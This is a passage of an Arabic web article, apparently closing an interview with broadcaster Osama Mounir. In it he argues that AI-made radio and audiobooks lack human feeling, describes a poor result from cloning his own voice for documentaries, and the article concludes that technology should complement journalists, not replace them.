<p class="p2">الإعلام الصوتي سيظل كما هو، إعلامًا صوتيًا. ما الفائدة من أن أستمع إلى الراديو وتكون كل برامجه مصنوعة بالذكاء الاصطناعي؟ الذكاء الاصطناعي قد يكون مناسبًا في تطبيقات قراءة الكتب، لكنها ستكون مملة، بدون روح، بدون إحساس. الإحساس الذي يصل إلى الإنسان لا يمكن أن ينقله الذكاء الاصطناعي. فأنا شخصيًا جربت كثيرًا، مثلا ً كنا نسجل مواد وثائقية “دوكيومنتريز”، وحاولت بعد تسجيلها أن أستخدم صوتي مع الذكاء الاصطناعي، لكن النتيجة كانت سيئة جدًا جدًا.</p>



<p class="p2"><strong>بين أصالة الصوت الإذاعي وذكاء الآلة، يبقى الإنسان هو العنصر الحاسم في صناعة المحتوى. الإعلامي القدير أسامة منير ذكّرنا أن التكنولوجيا أداة، وليست بديلا ً ، وأن الرسالة الصادقة لا تولد من الخوارزميات، بل من الإحساس بالناسوفي النهاية، قد تتغير الأدوات وتتطور الوسائل، لكن جوهر الإعلام الحقيقي يظل مرتبطًا بالصدق، والإحساس، والرسالة التي تمس ّ وجدان المتلقي. وبين الذكاء الاصطناعي وذكاء المشاعر، يبقى الخيار أمام الإعلامي: هل يكون مكمّلا ً للتكنولوجيا… أم تابعًا لها</strong></p>

			
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